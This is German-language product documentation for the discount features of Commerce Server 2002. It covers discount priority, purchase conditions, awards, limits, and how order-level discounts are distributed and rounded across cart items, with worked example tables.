Preisnachlässe sind ein wichtiger Bestandteil des Verkaufsförderungssystems von Commerce Server. Die Preisnachlassfunktion von Commerce Server gibt dem Kampagnenmanager die Möglichkeit, für Benutzer, die bestimmte Bedingungen erfüllen, Promotionpreise für Produkte oder Produktgruppen zu erstellen und zu veröffentlichen. Preisnachlässe können auf jeden Artikel im Katalog angewendet werden. Preisnachlässe lassen sich auf eine gesamte Bestellung (Preisnachlass auf Bestellebene) oder auf bestimmte Artikel der Bestellung (Preisnachlass auf Artikelebene) anwenden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwenden von Preisnachlässen bei der Websiteverwaltung
  • Preisnachlasspriorität
  • Preisnachlassbedingungen
  • Preisnachlassauszeichnungen
  • Preisnachlassgrenzen
  • Getrennte Preisnachlässe
  • "Klick erforderlich"-Preisnachlässe
  • Preisnachlassberechtigungsanforderungen
  • Mehrfache Preisnachlässe
  • Verarbeiten von Preisnachlässen


Verwenden von Preisnachlässen bei der Websiteverwaltung

Mit Commerce Server 2002 sind Kampagnen-Manager in der Lage, mehrere Preisnachlässe auf einen Artikel bzw. eine Bestellung anzuwenden und die Reihenfolge zu bestimmen, in der diese Preisnachlässe gewährt werden. Commerce Server 2002 bietet Kampagnenmanagern auch die Möglichkeit, Preisnachlässe auf Artikelebene und Preisnachlässe auf Bestellebene innerhalb einer Bestellung zu kombinieren.

  • Preisnachlässe auf Bestellebene gelten für alle Produkte in einem Warenkorb. So ist z. B. die Frachtkostenbefreiung eine Art von Preisnachlass auf Bestellebene: Benutzer brauchen bei diesem Preisnachlass für die Produkte in ihrem Warenkorb keine Frachtkosten zu bezahlen. Die Preisnachlässe auf Bestellebene bestehen bei Commerce Server in der Befreiung von den Frachtkosten und in einem in Prozent oder als absoluter Währungsbetrag angegebenen Nachlass auf den Gesamtpreis.

    Falls Sie andere Preisnachlässe auf Bestellebene anbieten möchten (z. B. einen Preisnachlass in Höhe von 10 % für bevorzugte Benutzer), muss ein Siteentwickler benutzerdefinierte Änderungen an der Site vornehmen.

  • Preisnachlässe auf Artikelebene betreffen bestimmte Produkte im Warenkorb. Sie können mehrere Preisnachlässe auf einen einzelnen Artikel oder eine einzelne Bestellung anwenden.

Mit Commerce Server können Sie folgende Preisnachlässe erstellen und anwenden:

  • "Klick erforderlich"-Preisnachlässe werden nur gewährt, wenn ein Benutzer auf den Preisnachlass-URL klickt. Dies kann ein Bild des Produkts sein, auf dem z. B. "Sparen Sie 10 %!" steht. Siteentwickler können diesen Preisnachlasstyp für andere Zwecke erweitern, z. B. für Coupons, die Kunden haben müssen, um den Preisnachlass zu erhalten.
  • Preisnachlässe mit Hebelwirkung sind an den Kauf anderer Produkte gebunden. Wenn Benutzer z. B. ein Telefon zum Warenkorb hinzufügen, können Sie ihnen beim Abschließen der Bestellung eine Freisprechanlage anbieten. Durch Hinzufügen des Artikels zum Warenkorb nehmen sie den Preisnachlass an. Sie haben auch die Möglichkeit, den Benutzern einen anderen Zubehörartikel zu einem reduzierten Preis anzubieten.
  • Prozentuale Preisnachlässe reduzieren den Preis eines Produkts nicht um einen festen Geldbetrag, sondern um einen bestimmten Prozentsatz. So können Sie z. B. einen Preisnachlass von 10 % auf Produkte geben und dann den Preis der Produkte bei Bedarf ändern. Wenn Sie den Preis der Produkte ändern, wird der Preisnachlass automatisch angepasst.
  • Festbetragspreisnachlässe reduzieren den Preis von Produkten um einen festen Betrag. So können Sie z. B. einen Preisnachlass in Höhe von 5,00 Euro auf bestimmte Produkte gewähren. Auch wenn Sie den Preis der Produkte ändern, bleibt der Preisnachlass (5,00 Euro) immer gleich.
  • "Happy Hour"-Preisnachlässe reduzieren den Preis von Produkten an bestimmten Tagen bzw. zu bestimmten Uhrzeiten. Mithilfe von Ausdrücken, die die Eigenschaft Aktuelle Uhrzeit auswerten, können Sie Preisnachlässe so planen, dass sie zu bestimmten Zeiten angewendet werden. Beispiel: Wenn Aktuelle Uhrzeit > 17:00 Uhr und Aktuelle Uhrzeit < 21:00 Uhr, Preisnachlass von 10 % auf Produkt geben.

Diese Preisnachlässe können Sie auf einzelne oder alle Produkte in einer Kategorie anwenden, oder Sie können einen Ausdruck erstellen, mit dem nur Produkte einen Preisnachlass erhalten, die bestimmte Kriterien erfüllen (z. B. Preisnachlässe in Höhe von 10 % auf alle Artikel eines bestimmten Herstellers).

Preisnachlässe lassen sich z. B. für die folgenden Szenarien erstellen:

  • Produktpreis ist größer als 20,00 Euro. Dies ist ein Preisnachlass-Bedingungsausdruck. Preisnachlass-Bedingungsausdrücke basieren auf einer Produkteigenschaft.
  • Benutzer kauft zwei. Dieser Ausdruck ist Bestandteil eines erforderlichen Bedingungskriteriums für einen Preisnachlass.
  • Benutzer klickt auf eine Preisnachlassanzeige auf der Sportseite. Dies ist der "Klick erforderlich"-Teil eines Preisnachlasses.
  • Benutzer ist registriert. Dies ist ein Ausdruck für die Preisnachlassberechtigung. Ausdrücke zur Berechtigung von Preisnachlässen basieren auf Benutzer- und Kontextprofilen.


Preisnachlasspriorität

Jedem Preisnachlass wird eine Priorität zugeteilt, die bestimmt, wann er im Verhältnis zu anderen für ein Produkt geltenden Preisnachlässen angezeigt werden soll. (Anders als bei Anzeigen werden bei Preisnachlässen keine Gewichtungen verwendet, um die Lieferung zu bestimmen.) Preisnachlässe werden vom niedrigsten zum höchsten numerischen Wert angewendet. So wird ein Preisnachlass mit einer Priorität von 10 beispielsweise vor einem Preisnachlass mit der Priorität 20 angewendet. Das gilt auch dann, wenn die Preisnachlässe für dieselben Auszeichnungsartikel gelten.

Beispiel: Die Getränkeabteilung Ihres Onlinesupermarkts hat im Sommer folgendes Angebot: Beim Kauf einer Kiste Saft gibt es die zweite Kiste zum halben Preis. Der Onlinesupermarkt hat jedoch ein weiteres Angebot, das auf alle Getränkeprodukte einen Preisnachlass von 10 % gibt. Nehmen Sie an, dass Sie den Preisnachlässen Prioritäten wie in folgender Tabelle zuweisen.

Preisnachlass | Priorität
Beim Kauf einer Kiste Saft gibt es die zweite Kiste zum halben Preis | 10
10 % Preisnachlass für alle Produkte der Kategorie "Getränke" | 20

Kauft ein Benutzer nun vier Kisten Saft, werden folgende Preisnachlässe wirksam:

  • Kiste 1: Kein Preisnachlass
  • Kiste 2: 50 % Preisnachlass
  • Kiste 3: Kein Preisnachlass
  • Kiste 4: 50 % Preisnachlass, jedoch nur, falls der Preisnachlass "Eine Kiste kaufen, die zweite zum halben Preis" keiner Einschränkung unterliegt. Der Preisnachlass in Höhe von 50 % wird statt des Preisnachlasses in Höhe von 10 % angewendet, da er eine höhere Priorität hat.

Wenn für einen Preisnachlassartikel mehrere Angebote eingehen und diese Angebote dieselbe Priorität aufweisen und vom selben Preisnachlasstyp sind (Preisnachlass in Prozent oder in Währungsbeträgen), werden die Preisnachlässe kombiniert. Im folgenden Szenario werden beispielsweise zwei Preisnachlässe zu einem 30 %-Preisnachlass kombiniert, da sie dieselbe Priorität (10) haben und vom selben Typ (prozentuale Preissenkung auf Artikelebene) sind.

Beispiel: Sie erstellen zwei Preisnachlässe und weisen jedem, wie in der folgenden Tabelle veranschaulicht, eine Priorität von 10 zu.

Preisnachlass | Priorität
Bei Kauf eines Telefons 10 Prozent Preisnachlass für ein Radio. | 10
Bei Kauf eines Videospiels 20 Prozent Preisnachlass für ein Radio. | 10

Die beiden Preisnachlässe werden zu einem 30 %-Preisnachlass kombiniert, da sie dieselbe Priorität (10) haben und vom selben Typ (prozentuale Preissenkung auf Artikelebene) sind.

Benutzerwarenkorb:

Produkt | Preis | Preisnachlass | Angepasster Gesamtpreis
Telefon | 40 |  | 40
Videospiel | 50 |  | 50
Radio | 30 | 9 (30*.30) | 21
 |  | Gesamtsumme | 111

Festbetragspreisnachlässe funktionieren auf dieselbe Art und Weise. Die Preisnachlässe werden kombiniert, wenn die Preisnachlassprioritäten identisch sind.

Wenn Preisnachlässe zwar dieselbe Priorität haben, aber nicht vom selben Preisnachlasstyp sind, ermittelt die Bestellpreisnachlass-Pipelinekomponente, welcher Preisnachlasstyp zuerst angewendet wird. Weitere Informationen zur Bestellpreisnachlass-Pipelinekomponente finden Sie unter How Discounts are Applied Programmatically (englisches Thema).


Preisnachlassbedingungen

Eine Preisnachlassbedingung (Kaufen) gibt an, ob dem Benutzer eine Auszeichnung angeboten wird. Die Auszeichnung richtet sich danach, was der Benutzer kauft. Die Bedingung Kaufen muss wahr sein, damit der Preisnachlass gewährt wird. Die Bedingung wird dabei für jeden Artikel im Bestellformular ausgewertet. Dabei kann es sich um einen Ausdruck handeln, der angibt, dass der Preisnachlass für einen bestimmten oder für alle Artikel gilt. Die Bedingung Kaufen umfasst eine Kaufbedingung für einen beliebigen Artikel, einen Bedingungstyp, einen Wert und einen Katalogausdruck.

  • Die Kaufbedingung für einen beliebigen Artikel gibt an, dass der Preisnachlass bei Vorhandensein eines Produkts im Warenkorb, auf das eine Auszeichnung anwendbar ist, immer gewährt wird. Beispiel: Bei Kauf eines Produkts erhalten Sie dazu einen Gürtel umsonst. Die Eigenschaft Kauf eines beliebigen Artikels gibt außerdem an, dass ein Artikel im Warenkorb nicht als eine Bedingung verwendet wird.
    • Bei leerem Warenkorb gewähren die Preisnachlässe vom Typ Kauf eines beliebigen Artikels Anspruch auf eine Auszeichnung. Die Bedingung Kauf eines beliebigen Artikels entspricht damit der Bedingung Kauf eines beliebigen Produkts der Menge Null (0).
  • Der Bedingungstyp bestimmt den Typ der Bedingung Kaufen. Für einen Preisnachlass gelten zwei Bedingungen vom Typ Kaufen: Menge und Wert. Sie haben die Möglichkeit, Preisnachlässe auf Basis der Bestellmenge oder des Bestellwerts eines Benutzers anzuwenden. So können Sie z. B. einen Preisnachlass erstellen, der gewährt wird, wenn ein Benutzer drei Kisten Saft (Menge) kauft, oder einen Preisnachlass, der gilt, wenn ein Benutzer Saft für 40 Euro kauft (Wert).
  • Bedingungswert gibt den Währungsbetrag oder die Anzahl von Einheiten der Bedingung an.
  • Der Katalogausdruck ist ein Ausdruck, der auf dem Produktkatalog beruht. Der Katalogausdruck wertet jeden Artikel im Benutzerwarenkorb aus. Voraussetzung für die Anwendung des Preisnachlasses ist, dass der Ausdruck mindestens einmal den Wert "Wahr" zurückgibt. Im Folgenden werden Beispiele für Katalogausdrücke in der Spalte Bedingung (Kaufen) und Beispiele für Auszeichnungen Auszeichnung (Abrufen) aufgeführt.
    Bedingung (Kaufen) | Auszeichnung (Abrufen)
    1 Paar Jeans | 1 Hemd mit 50 % Preisnachlass
    Zwei beliebige Produkte aus der Kategorie "Digitalkamera" | 1 Film mit 30 % Preisnachlass
    Ein beliebiges Produkt aus der Kategorie "Digitalkamera"
    ODER
    ein Camcorder     		1 Radio mit 20 % Preisnachlass

Die Anwendung des Preisnachlasses ist nicht garantiert, da nicht bekannt ist, ob die Auszeichnung für den Preisnachlass verfügbar ist.

Im Katalogausdrucks-Generator sind sowohl kumulative AND- als auch OR-Bedingungen zulässig. Allerdings wird bei Preisnachlässen nur die OR-Bedingung unterstützt. Die AND-Bedingung wird nicht unterstützt und darf daher nicht verwendet werden.


Preisnachlassauszeichnungen

Die Preisnachlassauszeichnung (Abrufen) gibt an, was der Benutzer erhält. Preisnachlassauszeichnungen umfassen einen Bedingungstyp, einen Werttyp und einen Katalogausdruck.

  • Der Zieltyp definiert das Auszeichnungsziel. Es gibt drei Typen von Auszeichnungen, die gewährt werden können: Preisnachlässe auf Artikelebene, Preisnachlässe auf Bestellebene und Versand ohne Frachtkosten. Als Frachtpreisnachlass unterstützt Commerce Server 2002 nur die Kategorie Ohne Frachtkosten. Wenn prozentuale oder Festbetragspreisnachlässe für die Frachtkosten gewünscht sind, muss der Siteentwickler benutzerdefinierte Änderungen an Ihrer Site vornehmen.
  • Der Werttyp definiert den Auszeichnungswert. Die Auszeichnungswerte sind in Prozent oder in Währungsbeträgen berechnete Preisnachlässe.

    Sie können zwar Preisnachlässe von 0 Euro erstellen, diese werden in Commerce Server 2002 jedoch nicht unterstützt.

  • Ein Katalogausdruck wendet die Preisnachlassauszeichnung nur an, wenn der Ausdruck "Wahr" ergibt. Der Katalogausdruck basiert auf dem Produktkatalog. Der Katalogausdruck für den Preisnachlass wertet jeden Artikel im Benutzerwarenkorb aus. Voraussetzung für die Anwendung des Preisnachlasses ist, dass der Ausdruck mindestens einmal den Wert "Wahr" zurückgibt.

    In der folgenden Tabelle werden Beispiele für Katalogausdrücke gezeigt.

    Bedingung (Kaufen) | Auszeichnung (Abrufen) | Angebot
    1 Paar Jeans | 1 Lee TurtleNeck-T-Shirt | 50 Prozent Preisnachlass
    Bestellung über mehr als 500 € | 1 beliebige Hose aus der Kategorie "Calvin Clean Blue Jeans" | Kostenlos
    1 Camcorder Modell 123 1 Flash Memory-Karte
    ODER
    2 CamCorder-Stative     		40 Prozent Preisnachlass

Im Katalogausdrucks-Generator sind sowohl kumulative AND- als auch OR-Bedingungen zulässig. Allerdings wird bei Preisnachlässen nur die OR-Bedingung unterstützt. Die AND-Bedingung wird nicht unterstützt und darf daher nicht verwendet werden.

Es gibt mehrere Möglichkeiten, den Benutzern Preisnachlässe und Auszeichnung zu gewähren. Commerce Server unterstützt drei Arten von Auszeichnungen:

  • Preisnachlässe auf Artikelebene betreffen bestimmte Produkte im Warenkorb. Sie können mehrere Preisnachlässe auf einen einzelnen Artikel oder eine einzelne Bestellung anwenden.
  • Preisnachlässe auf Bestellebene gelten für alle Produkte in einem Warenkorb.
  • Versandpreisnachlässe beziehen sich auf Versandkosten, die Benutzer bezahlen müssen, damit die von ihnen bestellten Artikel an ihre Adresse geliefert werden. Als Frachtpreisnachlass unterstützt Commerce Server 2002 nur die Kategorie Ohne Frachtkosten. Wenn prozentuale oder Festbetragspreisnachlässe für die Frachtkosten gewünscht sind, muss der Siteentwickler benutzerdefinierte Änderungen an Ihrer Site vornehmen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Preisnachlass für die Zwischensumme der Bestellung
  • Ohne Frachtkosten


Preisnachlass für die Zwischensumme der Bestellung

Dieser Preisnachlasstyp bezieht sich auf Preisnachlässe, die auf die Zwischensumme der Bestellung angewendet werden. Der Betrag der Zwischensumme verteilt sich auf die Einzelposten im Warenkorb. Für eine korrekte Abwicklung von Reklamationen ziehen es Kampagnenmanager vor, Preisnachlässe auf Bestellebene auf die Einzelposten zu verteilen. Commerce Server 2002 gewährt Preisnachlässe in Prozent oder in absoluten Währungsbeträgen.

Angenommen, ein Kampagnenmanager bietet bevorzugten Käufern einen Preisnachlass von 10 % für die folgende Bestellung:

  • 4 Bücher à 25 € = 100 €

Wenn der Preisnachlass nur auf den Gesamtpreis angewendet wird, ergibt sich folgende Rechnung:

Artikel | Betrag
Buch 1 | 25,00
Buch 2 | 25,00
Buch 3 | 25,00
Buch 4 | 25,00
Zwischensumme | 100,00
Preisnachlass | (10,00)
Gesamtsumme | 90,00

In diesem Beispiel wird einem Käufer, der eines der Bücher zurückgibt, ein Betrag von 25 Euro rückerstattet, obwohl er keine 25 Euro pro Buch bezahlt hat. Aufgrund des Preisnachlasses von 10 % hat der Käufer nur 22,50 Euro pro Buch bezahlt. Aus diesem Grund sind Kampagnenmanager daran interessiert, diese Art von Preisnachlässen auf die einzelnen Artikel einer Bestellung zu verteilen.

Verteilung von prozentualen Preisnachlässen

Im folgenden Beispiel wird gezeigt, wie prozentuale Preisnachlässe auf die Einzelposten im Warenkorb verteilt werden. Angenommen, ein Kampagnenmanager bietet bevorzugten Käufern einen Preisnachlass von 10 % für die folgende Bestellung:

  • 4 Bücher à 25 € = 100 €
Artikel | Betrag
Buch 1 | 25,00
Preisnachlass | (2,50)
Zwischensumme | 22,50
Buch 2 | 25,00
Preisnachlass | (2,50)
Zwischensumme | 22,50
Buch 3 | 25,00
Preisnachlass | (2,50)
Zwischensumme | 22,50
Buch 4 | 25,00
Preisnachlass | (2,50)
Zwischensumme | 22,50
Gesamtsumme | 90,00

Der Endverkaufspreis bleibt zwar unverändert, aber für jeden Artikel liegt der angepasste Preis nun bei 22,50 Euro, sodass der gewährte Preisnachlass genau nachvollziehbar ist. Wenn ein Einkäufer in diesem Fall einen Artikel zurückgibt, übersteigt der rückerstattete Betrag nicht mehr den tatsächlich bezahlten Preis.

Prozentuale Preisnachlässe werden auf zwei Dezimalstellen gerundet. Wenn Sie die Anzahl der Dezimalstellen ändern möchten, wenden Sie sich an Ihren Siteentwickler.

Verteilen von in Währungsbeträgen berechneten Preisnachlässen

Bei in Währungsbeträgen berechneten Preisnachlässen wird der Nachlassbetrag für die einzelnen Artikel berechnet und auf die Artikel im Warenkorb verteilt. Für diese Preisnachlässe wird folgender Algorithmus verwendet:

ItemDiscount = Truncate(((ItemAdjustedPrice/OrderAdjustedSubtotal)*DiscountAmount),2);

Dieser ist mit dem folgenden Ausdruck identisch:

Rundung des Wertes ItemAdjustedPrice/OrderAdjustedSubtotal auf zwei Dezimalstellen, wobei ItemAdjustedPrice für den Preis des Artikels und OrderAdjustedSubtotal für die Zwischensumme der Bestellung nach der Anpassung für Preisnachlässe steht, die vor dem Preisnachlass auf Bestellebene angewendet wurden.

Hinweis

  • In Währungsbeträgen berechnete Preisnachlässe werden auf zwei Dezimalstellen gerundet.

Im folgenden Beispiel wird gezeigt, wie in Währungsbeträgen berechnete Preisnachlässe auf die Einzelposten im Warenkorb verteilt werden. Ein Kampagnenmanager bietet bevorzugten Benutzern einen Preisnachlass von 25 Euro für die folgende Bestellung:

  • 2 Trikots à 30 €
  • 2 Paar Hosen à 50 €
  • 1 Gürtel à 10 €

Die folgende Tabelle zeigt den Warenkorb vor Anwendung des Preisnachlasses von 25 Euro:

Benutzerwarenkorb

Artikel | Menge | Einzelpreis | Erweiterter Preis
Hemd | 2 | 30,00 | 60,00
Hosen | 2 | 50,00 | 100,00
Gürtel | 1 | 10,00 | 10,00
Gesamtsumme |  |  | 170,00

Die folgende Tabelle zeigt den Warenkorb nach Anwendung des Preisnachlasses von 25 Euro:

Benutzerwarenkorb

Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
Erstes Hemd | 30,00 | 4,41 | 25,59
Zweites Hemd | 30,00 | 4,41 | 25,59
Erstes Paar Hosen | 50,00 | 7,35 | 42,65
Zweites Paar Hosen | 50,00 | 7,35 | 42,65
Gürtel | 10,00 | 1,47 | 8,52
Gesamtsumme | 170,00 | 24,99 | 145,00

Beachten Sie, dass der Preisnachlass sich für die Bestellung nicht auf volle 25 Euro, sondern auf 24,99 Euro beläuft.

Die folgenden beiden Ansätze können verwendet werden, um das Rundungsproblem zu beheben:

Ansatz 1:

Mit dem ersten Ansatz wird die Differenz auf den letzten Artikel in der Liste, für den der Preisnachlass gilt, angewendet.

If (CurrentItem = LastItemThatCanReceiveADiscount)

If (TotalDiscountApplied < AwardAmount)

ItemDiscount = (AwardAmount – TotalDiscountApplied)

Hinweis

  • Da es sich um gerundete Werte handelt, ergibt TotalDiscountApplied immer <=AwardAmount.

Ansatz 2:

Mit dem zweiten Ansatz wird folgende Berechnung ausgeführt:

  1. Berechnen Sie basierend auf den Dezimalstellen den niedrigsten Preis. Wenn beispielsweise zwei Dezimalstellen angezeigt werden, ist der kleinstmögliche Preis 0,01 Euro.
  2. Addieren Sie diesen "niedrigsten Preis" ausgehend vom teuersten Artikel zu den Preisnachlässen für die einzelnen Artikel. Wenn zwei Artikel denselben "teuersten Preis" haben, wird der Preisnachlass dem Artikel mit dem "niedrigsten Warenkorbindex" zugeordnet.
  3. Subtrahieren Sie diesen Betrag vom Fehlerwert des Preisnachlasses.
  4. Wiederholen Sie die Schritte 2 und 3, bis der Preisnachlassfehler den Wert Null (0) erreicht.

Im Folgenden wird demonstriert, wie der Preisnachlass von 25 Euro mit Ansatz 1 angewendet wird.

  • 2 Trikots à 30 €
  • 2 Paar Hosen à 50 €
  • 1 Gürtel à 10 €

Benutzerwarenkorb

Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
Erstes Hemd | 30,00 | 4,41 | 25,59
Zweites Hemd | 30,00 | 4,41 | 25,59
Erstes Paar Hosen | 50,00 | 7,35 | 42,65
Zweites Paar Hosen | 50,00 | 7,35 | 42,65
Gürtel | 10,00 | 1,48 | 8,52
Gesamtsumme | 170,00 | 25,00 | 145,00

Im oben stehenden Beispiel wird der Preisnachlass auf den Gürtel zuletzt angewendet. Daher wird der zusätzliche Betrag von 0,01 Euro (Preisnachlassfehler) zu der Auszeichnung für den Gürtel addiert, sodass sich ein Nachlassbetrag von 1,48 Euro (1,47+0,01) ergibt. Der Preisnachlass für die Bestellung beträgt damit 25 Euro.

Im Folgenden wird an einem zusätzlichen Beispiel demonstriert, wie Festbetragspreisnachlässe mit Ansatz 1 angewendet werden.

  • Kauf eines beliebigen Artikels
  • Preisnachlass auf Bestellebene in Höhe von 5 Euro

Benutzerwarenkorb

Warenkorbindex | Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
1 | Artikel 1 | 7,50 | 2,49 | 5,01
2 | Artikel 1 | 7,50 | 2,49 | 5,01
3 | Artikel 3 | 0,01 | 0,00 | 0,01
Gesamtsumme |  | 15,01 | 4,98 | 10,03

Beachten Sie, dass der Preisnachlass in diesem Beispiel sich für die Bestellung nicht auf volle 5 Euro, sondern auf 4,99 Euro beläuft.

Im Folgenden wird demonstriert, wie der Preisnachlass im oben stehenden Beispiel mit Ansatz 1 angewendet wird.

Benutzerwarenkorb

Warenkorbindex | Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
1 | Artikel 1 | 7,50 | 2,49 | 5,01
2 | Artikel 1 | 7,50 | 2,51 | 4,99
3 | Artikel 3 | 0,01 | 0,00 | 0,01
Gesamtsumme |  | 15,01 | 5,00 | 10,01

Im oben stehenden Beispiel ist Artikel 1, auf dem Warenkorbindex an Position 2, der letzte Artikel, auf den ein Preisnachlass gewährt wird. (Für Artikel 3 kann kein Preisnachlass von 0,02 Euro erfolgen, da sein Preis nur 0,01 Euro beträgt.) Daher wird der zusätzliche Betrag von 0,02 Euro (Preisnachlassfehler) zu Artikel 1 mit dem Warenkorbindex 2 addiert, sodass sich ein Betrag von 2,51 Euro ergibt. Der Preisnachlass für die gesamte Bestellung beträgt damit 5 Euro.

Im Folgenden werden die Folgen betrachtet, die die Verwendung des ersten Ansatzes nach sich ziehen kann:

  • An den Positionen 1 und 2 im Warenkorbindex erscheint dieselbe Artikelnummer. (Die Preise sind gleich.) Die für die Artikel gewährten Preisnachlässe sind jedoch unterschiedlich.
  • Auf Artikel 3 wurde kein Preisnachlass gewährt.
  • Da Artikel 1 und Artikel 2 denselben Preis haben, ergibt sich die Frage, ob im Fall einer Rücksendung eines dieser Artikel ein Betrag von 5,01 Euro oder von 4,99 Euro rückzuerstatten ist.

Im Folgenden wird demonstriert, wie der Preisnachlass im oben stehenden Beispiel unter Verwendung von Ansatz 2 gewährt wird.

Benutzerwarenkorb

Warenkorbindex | Artikel | Einzelpreis | Preisnachlass | Angepasster Preis
1 | Artikel 1 | 7,50 | 2,50 | 5,00
2 | Artikel 1 | 7,50 | 2,50 | 5,00
3 | Artikel 3 | 0,01 | 0,00 | 0,01
Gesamtsumme |  | 15,01 | 5,00 | 10,01

Die gesenkten Preise der einzelnen Artikel wurden erfasst, und der Benutzer erhält einen Preisnachlass von 5 Euro. Auf die Artikel mit Warenkorbindex 1 und 2 wird derselbe Preisnachlass gewährt. Wenn einer der Artikel zurückgegeben wird, ist der Rückerstattungsbetrag für die beiden Artikel demnach gleich.

Hinweis

  • Im oben stehenden Beispiel wird die Pipelinekomponente OrderDiscountApply zur Gewährung des Preisnachlasses verwendet. Informationen zur Komponente OrderDiscountApply finden Sie im Thema "OrderDiscount" (englisches Thema) von Programmer's Reference (nur auf Englisch verfügbar) in der Commerce Server 2002-Hilfe.

Siehe auch

Verarbeiten von Preisnachlässen

Komponenten eines Preisnachlasses

Erstellen eines Preisnachlasses


Ohne Frachtkosten

Die Eigenschaft Ohne Frachtkosten bezieht sich auf die frachtkostenfreie Auslieferung als Preisnachlass auf alle bestellten Produkte. Versandpreisnachlässe werden auf die Gesamtsumme einer Bestellung angewendet und können insofern mit Preisnachlässen auf Bestellebene verglichen werden. Wenn prozentuale oder Festbetragspreisnachlässe für die Frachtkosten gewünscht sind, muss der Siteentwickler benutzerdefinierte Änderungen an Ihrer Site vornehmen.

In der Tabelle order_discount, in der alle Preisnachlässe gespeichert werden, gibt es zwei Preisnachlasseigenschaften: b_disc_order_level_discount und u_disc_special_offer_type. Mithilfe der beiden Preisnachlasseigenschaften kann zwischen Preisnachlässen auf Bestellebene und Versandpreisnachlässen unterschieden werden.

Mehrere Lieferadressen

Commerce Server 2002 unterstützt mehrere Lieferadressen. So kann ein Benutzer beispielsweise eine bestimmte Anzahl von Artikeln kaufen und sie an unterschiedliche Adressen liefern lassen.

Artikel | Menge | Einzelpreis | Erweiterter Preis | Lieferadresse
Silberanhänger | 2 | 30 | 60 | Jörg Benutzer Parkstraße 13 80339 München
Spielzeugauto | 2 | 50 | 100 | Jörg Benutzer Ahornallee 4 22395 Hamburg
Gesamtsumme |  |  | 160 |

Interaktionsrichtlinien für Versandpreisnachlässe

Das folgende Beispiel zeigt, wie Interaktionsrichtlinien von Versandpreisnachlässen und Preisnachlässen auf Bestellebene miteinander verbunden sind.

Preisnachlass | Bedingung (Kaufen) | Auszeichnung (Abrufen) | Priorität
Preisnachlass 1 | Bestellzwischensumme von mehr als 300 Euro | Preisnachlass auf Bestellebene in Höhe von 20 Euro | 10
Preisnachlass 2 | Kauf eines Camcorders | Ohne Frachtkosten | 20

Im Warenkorb sind folgende Produkte enthalten:

Artikel | Menge | Einzelpreis | Erweiterter Preis
Camcorder | 1 | 200,00 | 200,00
Digitalkamera | 1 | 300,00 | 500,00
Gesamtsumme |  |  | 700,00

Der Preisnachlass 1 wird zuerst angewendet, da ihm die Priorität 10 zugewiesen ist. Da es sich beim Versandpreisnachlass um einen Preisnachlass auf die Gesamtsumme handelt, sind der Versandpreisnachlass und der Preisnachlass auf Bestellebene über Commerce Server-interne Interaktionsrichtlinien miteinander verknüpft. Deshalb werden durch Preisnachlass 1 alle weiteren Auszeichnungen gesperrt, sodass Preisnachlass 2 nicht zur Anwendung kommt.


Preisnachlassgrenzen

Sie haben die Möglichkeit, die Anzahl der Preisnachlässe zu begrenzen, die auf einen Warenkorb angewendet werden können. Wenn die Preisnachlassgrenze den Wert Null (0) aufweist, unterliegen die Preisnachlässe keiner Beschränkung. Der Preisnachlass kann mehrmals angewendet werden, wenn die Bedingung für den Preisnachlass im Warenkorb mehrfach zutrifft. Die Preisnachlassgrenze ist auf den Warenkorb begrenzt und gilt nicht für mehrere Warenkörbe. Wenn ein Benutzer z. B. eine Bestellung abschließt, die Site erneut besucht und dieselben Artikel kauft, erhält er erneut denselben Preisnachlass.


Getrennte Preisnachlässe

Getrennte Preisnachlässe werden angewendet, wenn sich die Klauseln Abrufen und Kaufen auf dasselbe Produkt beziehen. Diese Eigenschaft bestimmt, ob der Artikel der Bedingung als Auszeichnung für den Preisnachlass verwendet werden kann. Es wird zwischen den folgenden beiden getrennten Preisnachlässen unterschieden:

  • Angebot nur auf "Produkt abrufen" anwenden: Die Kaufbedingung kann nicht als Auszeichnung wieder verwendet werden. Eine Möglichkeit für Businessmanager, ein Produkt defensiv zu promoten.
  • Angebot auf "Produkt abrufen" und "Produkt kaufen" anwenden: Die Kaufbedingung kann als Auszeichnung wieder verwendet werden. Eine Möglichkeit für Businessmanager, ein Produkt offensiv zu promoten.

Abhängig vom ausgewählten getrennten Preisnachlass können durch den folgenden Preisnachlass unterschiedliche Ergebnisse hervorgerufen werden. Die Ergebnisse werden für jeden getrennten Preisnachlass angezeigt:

Bedingung: Kauf von 2 Unisex-Hemden

Auszeichnung: 1 Unisex-Hemd mit 40 % Preisnachlass

Getrennter Preisnachlass: Angebot nur auf 'Produkt abrufen' anwenden:

Der folgende Warenkorb zeigt einen Preisnachlass von 40 Prozent für das dritte Unisex-Hemd im Warenkorb. Da die getrennte Preisnachlasseigenschaft Angebot nur auf "Produkt abrufen" anwenden ausgewählt ist, kann die Bedingung für den Preisnachlass nicht als Auszeichnung wieder verwendet werden. Das erste und zweite Hemd wurden als Bedingung verwendet. Der 40-prozentige Preisnachlass wird auf das dritte Hemd angewendet. Für das vierte Hemd sind keine Bedingungen oder Auszeichnungen vorhanden.

Bedingung: Kauf von 2 Unisex-Hemden

Auszeichnung: 1 Unisex-Hemd mit 40 % Preisnachlass

Getrennter Preisnachlass: Angebot auf "Produkt abrufen" und "Produkt kaufen" anwenden:

Der folgende Warenkorb zeigt einen Preisnachlass von 40 Prozent für das zweite und vierte Unisex-Hemd im Warenkorb. Da die getrennte Preisnachlasseigenschaft Angebot auf "Produkt abrufen" und "Produkt kaufen" anwenden ausgewählt ist, wurde die Bedingung für den Preisnachlass als Auszeichnung wieder verwendet. Das erste und das zweite Unisex-Hemd im Warenkorb wurden als Bedingung verwendet. Der 40-prozentige Preisnachlass wird auf das zweite Hemd gewährt. Das dritte und das vierte Hemd im Warenkorb wurden wiederum als Bedingung für den 40-prozentigen Preisnachlass auf das vierte Hemd verwendet.


"Klick erforderlich"-Preisnachlässe

Wenn die Eigenschaft für "Klick erforderlich"-Preisnachlässe auf "Wahr" gesetzt ist, kann der Benutzer einen bestimmten Preisnachlass erst in Anspruch nehmen, nachdem er auf die mit dem Preisnachlass verbundene Anzeige geklickt hat. Über diese Eigenschaft sind die Anzeigen- und Mechandising-Features in Ihrem Unternehmen miteinander verknüpft.


Preisnachlassberechtigungsanforderungen

